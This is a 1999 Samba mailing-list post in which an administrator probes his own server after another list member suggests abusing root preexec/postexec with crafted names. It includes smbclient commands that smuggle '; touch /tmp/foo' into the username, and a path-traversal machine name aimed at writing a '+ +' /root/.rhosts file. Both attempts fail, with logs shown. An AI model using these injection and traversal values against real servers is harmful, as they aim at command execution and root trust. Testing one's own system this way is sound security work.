srv/usrmgr and DC
Andrew Perrin - Demography
aperrin at demog.Berkeley.EDU
Tue Mar 23 16:47:46 GMT 1999
Well, an interesting thought, but it appears nothing:
/usr/LOCAL/samba/bin>./smbclient //population/homes -U'; touch /tmp/foo'
-N
load_client_codepage: filename /usr/LOCAL/samba/lib/codepages/codepage.850
does not exist.
Server time is Tue Mar 23 08:38:13 1999
Timezone is UTC-8.0
Session setup failed for username=; touch /tmp/foo myname=POPULATION
destname=POPULATION ERRSRV - ERRbadpw (Bad password - name/password pair
in a Tree Connect or Session Setup are invalid.)
Log:
cli_net_sam_logon: NT_STATUS_NO_SUCH_USER
domain_client_validate: unable to validate password for user ; touch
/tmp/foo in domain WORKGROUP to Domain controller BOSERUP. Error was
NT_STATUS_NO_SUCH_USER.
And...
/usr/LOCAL/samba/bin>./smbclient //population/homes -U'+ +' -n
'../../../../../tmp/foo'
load_client_codepage: filename /usr/LOCAL/samba/lib/codepages/codepage.850
does not exist.
Server time is Tue Mar 23 08:40:52 1999
Timezone is UTC-8.0
Password:
Password:
Domain=[DEMOGRAPHY] OS=[Unix] Server=[Samba 1.9.19-prealpha]
connected as guest security=user
SMBtconX failed. ERRSRV - ERRbadpw (Bad password - name/password pair in a
Tree Connect or Session Setup are invalid.)
Log:
cli_net_sam_logon: NT_STATUS_NO_SUCH_USER
domain_client_validate: unable to validate password for user + + in domain
WORKGROUP to Domain controller BOSERUP. Error was NT_STATUS_NO_SUCH_USER.
Date: Thu, 18 Mar 1999 08:03:03 +1100
From: J.A. Gutierrez <spd at gtc1.cps.unizar.es>
To: Multiple recipients of list <samba-ntdom at samba.org>
Subject: Re: srv/usrmgr and DC
>
> root preexec = echo %u > /opt/samba/status/%m
> root postexec = rm -f /opt/samba/status/%m
>
> this just puts the logged in username in a file named after the
> workstation name;
>
Interesting....
and what happends if you try the following?
$ smbclient '\\yourserver\foo' -U "+ +" -n "../../../../../root/.rhosts"
--
finger spd at gtc1.cps.unizar.es for PGP / So be easy and
free
mailcap tip of the day: / when you're drinking with
me
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every
day
text/x-vcard; cat '%s' > /dev/null / (the pogues)
---------------------------------------------------------------------
Andrew J. Perrin - aperrin at demog.berkeley.edu - NT/Unix Admin/Support
Department of Demography - University of California at Berkeley
2232 Piedmont Avenue #2120 - Berkeley, California, 94720-2120 USA
http://demog.berkeley.edu/~aperrin --------------------------SEIU1199
More information about the samba-ntdom
mailing list